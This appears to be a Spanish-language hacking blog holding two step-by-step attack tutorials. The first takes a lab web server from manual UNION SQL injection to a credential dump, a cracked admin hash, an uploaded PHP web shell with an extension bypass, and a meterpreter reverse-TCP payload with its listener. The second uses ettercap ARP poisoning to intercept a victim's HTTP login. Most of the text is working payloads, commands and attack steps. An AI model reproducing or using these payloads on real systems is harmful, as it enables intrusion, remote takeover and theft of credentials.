jueves, 28 de noviembre de 2013

De SQL injection hasta obtener una shell

De sql injection a obtener shell

Este post tiene dedicatoria a todos los miembros de pentester guanajuato global team, gracias por la invitación :)



Empezemos: en este post veremos un poco de sql injection y como un atacante puede obtener desde los datos que se encuentran en la base de datos hasta una shell del sistema donde se encuentra alojada la página web y la base de datos :D

Está será la página en que haremos el pentest

Primero haremos un information gathering, para realizarlo podemos usar telnet o netcat

telnet paginaweb.com 80
GET / HTTP/1.1
host:paginaweb 
           ó
netcat paginaweb.com
GET / HTTP/1.1
host:paginaweb


como podemos observar ahi tenemos la version de apache

Ahora veamos un poco de teoría, supongamos que estamos en una pagina de noticias y tenemos 3 páginas con noticias estas serían las 3 urls.

http://www.web.com/noticia.php?id=1  <-- noticia 1
http://www.web.com/noticia.php?id=2  <-- noticia 2
http://www.web.com/noticia.php?id=3  <-- noticia 3

el código php de esa pagina para cargar las noticias sería algo así

<?php
$id = $_GET["id"];
$resultado = mysql_query("select * from noticias where id=".$id);
$fila = mysql_fetch_assoc($reultado);
//nos da la informacion de la noticia de la consulta
?>

Ahora pasando al material que tenemos para trabajar
si ponemos asi ----> http://www.web.com/noticia.php?id=1'
se va a ejecutar esto ---> select * from noticias where id = 1'
pero la sintaxis de esta peticion sql es incorrecta por la comilla ' y la base de datos nos dara un error

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
for the right syntax to use near ''' at line 1.
este error puede o no puede ser visible depende de la configuracion del php

aqui el ejemplo del error de SQL syntax de nuestra web








 IMPORTANTE!!!!!
el valor que esta en la url hace un eco directamente en la consulta y es considerado como un integer, esto
nos permite hacer una consulta a la base de datos una operacion basica matematica
es decir
http://www.web.com/noticia.php?id=2-1 <--- esto sería como
select * from noticias where id=2-1 entonces el la noticia 1 será mostrada en la url





Por ejemplo en nuestra pagina tenemos

 http://192.168.1.88/cat.php?id=3
y también
http://192.168.1.88/cat.php?id=2

Veamos que pasa cuando hacemos
http://192.168.1.88/cat.php?id=3-1

Aqui vemos como al hacer la operacion matemática 3-1=2 == http://192.168.1.88/cat.php?id=2


explotando sql injections con UNION


Para hacer la sql injection (a mano nada de usar programas como havij ó sqlmap a menos que seas un lamer de primera, ó a menos que ya sepas hacer esto por ti mismo no hay ningun problema en utilizar herramientas que te pueden automatizar el proceso, y ademas ya sabes que es lo que realmente esta pasando en tu ataque) necesitamos encontrar el numero de colimnas para ejecutar union

si ponemos
http://192.168.1.88/cat.php?id=2 union select 1,2
en la url aparecen varios %20 ese es el del espacio y el navegador lo pone automáticamente, ahi podemos ver que nos da información interesante
lo que ha pasado es lo siguiente:
select id,nombre,fecha,foto from noticias where id=1 union select 1,2
es decir hicimos una consulta donde estamos requiriendo 2 campos sin embargo la tabla tiene 4 campos, no hay que confundir que a una tabla podemos hacer la consulta a 1 solo campo con esto que estamos haciendo, en este caso estamos tratando de encontrar todos los campos de la tabla

entonces intentamos lo siguiente
http://192.168.1.88/cat.php?id=2 union select 1,2,3
en este caso de nuevo aparece el mensaje que la sentencia tiene diferente numero al de las columnas existentes en la tabla, recuerden que estamos tratando de averiguar cuantos campos hay en esa tabla de la base de datos
esta vez hicimos algo como esto:
select id,nombre,fecha,foto from noticias where id=1 union select 1,2,3

intentemos con esto: http://192.168.1.88/cat.php?id=2 union select 1,2,3,4
Excelente!!! ya no obtuvimos el mensaje de que no corresponde la sentencia con el numero de campos es decir que ya sabemos que existen 4 campos.
Ahora que ya sabemos el numero de columnas podemos acceder a cierta informacion de la base de datos

ahora que ya sabemos el numero de columnas podemos acceder a cierta informacion de la base de datos

la sentencia @@version      me dice la version de la base de datos
la sentencia current_user()  el usuario usado por la aplicacion php para conectar a la base de datos
la sentencia database()        ya se imaginarán que hace :p

entonces procedemos a encontrar la version con
http://192.168.1.88/cat.php?id=2 union select 1,@@version,3,4,5

Eee!!! momento que ha pasado si estoy poniendo 4 columnas por que me aparece que hay diferencia en el statment y el numero de columnas???

al parecer la tabla donde ejecutemos la sentencia para poder ver la version debe tener un numero diferente de columnas de modo que hagamos una prueba pongamos 3 en vez de 4 es decir:
http://192.168.1.88/cat.php?id=2 union select 1,@@version,3,4

Listo ya tenemos la verison!!!!

ahora procedamos a ver el usuario
http://192.168.1.88/cat.php?id=2 union select 1,current_user(),3,4
Ya tenemos el usuario :D

Ahora veamos el nombre de la base de datos
http://192.168.1.88/cat.php?id=2 union select 1,database(),3,4
Listo!!!! nombre de la base de datos obtenida

ahora obtengamos las tablas, para eso haremos consultas en la base de datos information_schema
por que mysql provee tablas que contienen meta-informacion de la base de datos que estamos obteniendo información

http://192.168.1.88/cat.php?id=2 union select 1, table_name,3,4+from+information_schema.tables

Listo el problema es que me esta dando todas las tablas de las bases de datos que hay y yo quiero solo los de la base de datos que estoy tratando de obtener informacion (photoblog)

Intentemos con esto
http://192.168.1.88/cat.php?id=2%20union%20select%201,concat%28table_name,
%27:%27,table_name%29,3,4%20from%20information_schema.columns+where+table_schema=database%28%29--
Excelente despues de varias pruebas y errores con diferentes sentencias pudimos obtener el resultado deseado (Ya te tocará investigar que es todo ese código en la sentencia no tendras todo tan regalado lamer XD XD XD XD XD).

bueno ahora toca el turno de saber como se llaman los campos de la tabla users
http://192.168.1.88/cat.php?id=2%20union%20select%201,concat(column_name),3,4%20from
%20information_schema.columns+where+table_name=users

Al parecer hay un error en la columna users :( vaya se ha resistido XD XD XD XD, bueno hemos estado utilizando chrome, ahora utilizemos firefox para ayudarnos de hackbar :D :D :D :D :D

  
  abrir hackbar y seleccionar el nombre users e ir a encoding, hex encoding y seleccionar la 1er opcion quedará algo así
Damos click en Execute y vemos que no pasa nada, jejeje esta web se se resiste intenemos agregando un 0x es decir
http://192.168.1.88/cat.php?id=-2 union select 1,concat(column_name),3,4 from information_schema.columns+where+table_name=0x7573657273
Excelente ahora si ya tenemos los campos que necesitamos para realizar la sentencia y obtener los datos que necesitamos

Entonces manos a la obra obtengamos los usuarios y contraseñas de esta base de datos
http://192.168.1.88/cat.php?id=2%20union%20select%201,concat
%28login,%27:%27,password%29,3,4%20from%20users;

Muy bien tenemos al usuario admin y la contraseña encriptada, hay muchas formas y/o técnicas para desencriptar ese hash, por ejemplo; findmyhash, john the ripper, crackstation.net, en esta ocasión usaremos la página crackstation.net

listo: usuario admin contraseña P4ssw0rd

ahora tratemos de obtener una shell en ese sistema :D


Listo estamos logueados como admins ahora tratemos de subir algun archivo php que nos deje ejecutar comandos en el sistema :D

para eso creamos un arhivo php que contenga el siguiente codigo

<?php
system($_GET['cmd']);
?>

si logro subir un arhivo php que contenga ese codigo podre ejecutar comandos en el sistema donde esta alojada la pagina web.

primero vamos a crearlo
vamos a tratar de subirlo damos click en New picture y despues en examinar y buscamos nuestro php
Al tratar de subirlo vemos que nos dice 
Entonces tiene una protección de deteccion de archivos para poder hacer un bypass o evasión de detección de los tipos de archivos podemos hacer un archivo de nombre .php3

Aqui vemos como nuestro php fue subido exitosamente

ahora tenemos que encontrar la ruta donde esta nuestro php :D

una vista rápida al codigo fuente del index me da lo que estoy buscando
admin/uploads/shell.php3  :D

ahora para ejecutar comandos ponemos lo siguiente
http://192.168.1.88/admin/uploads/shell.php3?cmd="comando a ejecutar"

http://192.168.1.88/admin/uploads/shell.php3?cmd=uname -a

http://192.168.1.88/admin/uploads/shell.php3?cmd=cat%20/etc/passwd
nosotros somos el usaurio www-data ese usuario no tiene privilegios de root, veamos que podemos hacer para obtener una shell dentro del sistema desde kali :D

primero hacemos un payload para linux
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=puerto R | msfencode -t elf -e x86/shikata_ga_nai >> Executive


Pasamos ese payload a nuestro webserver en kali aprovechando que tenemos apache :D

Aqui vemos como se copio el payload a la carpeta del webserver de kali y ademas hicimos un ls para comprobar que ahi esta nuestro payload, ahora toca descargarlo en el servidor que hackeamos

Aparentemente no ocurrio nada pero que pasa si hacemos un "ls"

Ahi se encuentra nuestro payload que se llama Executive, procedemos a ejecutarlo pero primero hay que preparar el listener de metasploit
 msfcli exploit/multi/handler  PAYLOAD=linux/x86/meterpreter/reverse_tcp  LHOST=IP LPORT=port  E

ahora si procedemos a ejecutar

y vemos el resultado en nuestro metasploit
Tenemos meterpreter en ese sistema :D
Sin embargo no tenemos altos privilegios todavia, tratemos de leer el archivo shadow
Solamente usuarios con permisos elevados pueden leer ese archivo, hay muchas técnicas para elevar privilegios en linux, tratemos de entrar al gestor de base de datos mysql
Hemos podido entrar al gestor de base de datos mysql de ese sistema por que el usuario por default no tiene contraseña
mysql -u root -p

incluso podemos ver la bases de datos que hay en ese sistema
Ahora tratemos de vizualizar archivos desde mysql

y aqui el resultado

ahora tratemos de leer el archivo shadow
Como vemos no hemos podido leer el contenido del archivo shadow :( 
en un post posterior veremos como elevar privilegios en linux, por otra parte cabe mencionar que todo lo que hemos hecho en la página, quedo registrado en los logs del apache

aqui les paso solo alguno de los logs que generamos
192.168.1.104 - - [28/Nov/2013:17:13:47 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3,4 HTTP/1.1" 200 830 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:13:48 +0000] "GET /admin/uploads/3 HTTP/1.1" 404 505 "http://192.168.1.88/cat.php?id=2%20union%20select%201,@@version,3,4" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:13:53 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:13:54 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3 HTTP/1.1" 200 762 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:13:55 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:02 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3,3,3 HTTP/1.1" 200 762 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:03 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:05 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,3,3 HTTP/1.1" 200 829 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:05 +0000] "GET /admin/uploads/3 HTTP/1.1" 404 505 "http://192.168.1.88/cat.php?id=2%20union%20select%201,@@version,3,3" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:14:05 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:19:59 +0000] "GET /cat.php?id=2%20union%20select%201,@@version,2,3,4 HTTP/1.1" 200 763 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:20:00 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:21:52 +0000] "GET /cat.php?id=2%20union%20select%201%20where%20id=1 HTTP/1.1" 200 815 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"
192.168.1.104 - - [28/Nov/2013:17:21:53 +0000] "GET /favicon.ico HTTP/1.1" 404 502 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36"






jueves, 12 de septiembre de 2013

Sniffer espiando el trafico en nuestra red local :)

En este post veremos algunas cosas que podemos lograr con el sniffeo en alguna red local.

¿Que es un sniffer y que podemos hacer con el? un sniffer es un software con el cual podemos ver el tráfico de nuestra red local, para poder ver el tráfico de nuestra red la tarjeta de red que estemos usando debe de ponerse en modo promiscuo, el modo promiscuo se activa automática mente al configurar nuestro sniffer y lanzar el análisis de nuestro trafico.
Osea es estar de chismoso viendo lo que los demás están haciendo en nuestra red XD

Bueno en este ejemplo utilizaré como atacante a una maquina con kali-linux y la vitcitma será un Windows 7 ultimate

Lo primero que haremos es mandar llamar a nuestro programa. kali linux trae varios sniffers pero en esta ocasión usáremos ettercap.

el comando para mandarlo llamar será ettercap -G (ojo podemos manejar ettercap de varias maneras el parámetro -G es para mandarlo llamar de forma gráfica)



siguiente paso será ir al menu Sniff y seleccionamos Unified sniffing ahi lo que haremos es seleccionar la interface de red que estamos utilizando, como en este caso yo estoy conectado por medio de cable de red ethernet mi interfaz de red será eth0


una vez le hemos dado click a Unified sniffing seleccionamos la interfaz eth0 como habíamos mencionado anteriormente

Una vez que hemos dado click en el boton de ok vemos como los menus cambian y en la parte inferior nos da varios mensajes de cosas que "cargo ettercap" como lo son plugins, puertos y otras cosas mas

El siguiente paso será ver todos los dispositivos conectados a la red para eso nos vamos al menu Hosts y damos click en Scan for hosts (también podemos presionar la combinación de teclas Ctrl + s)


Ahora procedemos a ver los hosts que encontró ettercap, para verlos hosts que encontró vamos al menu Hosts y despues damos click en Hosts list


En este caso a mi me detectó 4 hosts y veamos cuales fuerón

En este caso seleccionaremos como nuestra victima el dispositivo con el ip 192.168.1.20 esa será nuestra victima otra cosa que necesitamos saber es cual es la ip del router, para saber la ip del router tenemos el siguiente comando:
route -n

Ahi podemos observar que la ip local del modem es 192.168.1.254 ya que es lo que le corresponde al Gateway o puerta de enlace.
¿Por que necesitamos saber la ip de nuestra vitima y del router? la respuesta es sencilla, lo que vamos a hacer es ponernos "en medio de ellos 2" para poder estar interceptando las comunicaciones
este tipo de ataque se conoce como man in the middle o ataque de hombre en medio.

Entonces aqui damos click al ip de mi victima y despues damos click al boton que dice Add to target 1


Ahi vemos que nos aparece el mensaje en la parte de abajo y dice Host 192.168.1.20 addes to TARGET 1.
Ahora le damos click a la ip del modem "192.168.1.254" y damos click en el boton que dice Add to Target 2

El siguiente paso sería ir al menu Mitm y seleccionar arp poisoning, pero antes de eso vamos a la computadora con windows 7 (que es nuestra victima) habrimos la consola de cmd y escribimos el comando:
arp -a

El protocolo ARP tiene un papel clave entre los protocolos de capa de Internet relacionados con el protocolo TCP/IP,
ya que permite que se conozca la dirección física de una tarjeta de interfaz de red correspondiente a una dirección IP.
Por eso se llama Protocolo de Resolución de Dirección (en inglés ARP significa Address Resolution Protocol).
Cada equipo conectado a la red tiene un número de identificación de 48 bits.
Éste es un número único establecido en la fábrica en el momento de fabricación de la tarjeta.

fuente: wikipedia

Entonces el comando arp -a me muestra las direcciones mac que le corresponde a cada dispositivo de la red.
Por que estoy mostrando esto por que veremos como es el cambio cuando se infectan las tablas arp con ettercap.


Entonces ahora si vamos al menu Mitm y seleccionamos Arp poisoning (envenenar arp :D )

Una vez selccionado Arp poisonin nos saldra el siguiente cuadro, ahi seleccionamos la opción que dice Sniff remote conections y damos click en el boton ok


Por ultimo vamos al menu Start y selecionamos start sniffing


Acontinuacion veremos como al principio con el comando arp -a la ip de kali (192.168.1.99) tiene la mac address 00-0c-29-3a-bc-f9 y la ip del moden (192.168.1.254) tiene la mac address 00-23-51-0c-5b-b9. Eso fue antes de lanzar el esnifeo en la segunda parte volvemos a poner el comando en la consola de windows arp -a y vemos como la ip del modem tiene la misma mac address que la ip de kali :D :D :D :D :D

En este caso nuestra victima esta entrando a la pagina http://www.directoriow.com y se va a loguear en su cuenta





Ahora vemos en la esquina superior derecha que el usuario ya se encuentra logueado :D


Ahora vemos que ettercap capturó el usuario y la contraseña del sitio donde se logueo la victima :) esto, fué posible por que la pagina usa http en vez de https y las contraseñas viajan por la red en texto plano en https las contraseñas estan encriptadas.

también podemos ver que aparece 2 vecese user con un pass diferente esto es por que el primero fue un error en la contraseña.


Esta es solo una pequeña muestra de todo lo que puede hacer ettercap, solo como comentario ettercap puede hacer muchisimas cosas mas (redirigir tráfico, ver las imagenes que esten viendo los usuarios conectados a la red, etc etc).

Hay programas que detectan este tipo de ataques, el antivirus eset detecta cuando alguien esta infectando las tablas arp, y hay muchos programas mas que detectan este tipo de ataques ya te tocará investigar.

Espero haya quedado todo muy claro :D